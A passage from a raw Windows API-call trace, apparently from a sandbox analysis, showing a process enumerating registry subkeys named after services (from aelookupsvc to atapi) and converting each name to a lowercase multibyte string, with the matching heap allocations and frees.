dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.363] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.363] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0228.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.364] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.364] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.364] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0228.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.365] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0228.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0228.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.365] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0228.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0228.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.365] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0228.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.366] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.366] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.366] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0228.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.366] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.367] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.367] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.367] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.368] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.368] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.368] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0228.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.369] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.369] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.369] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 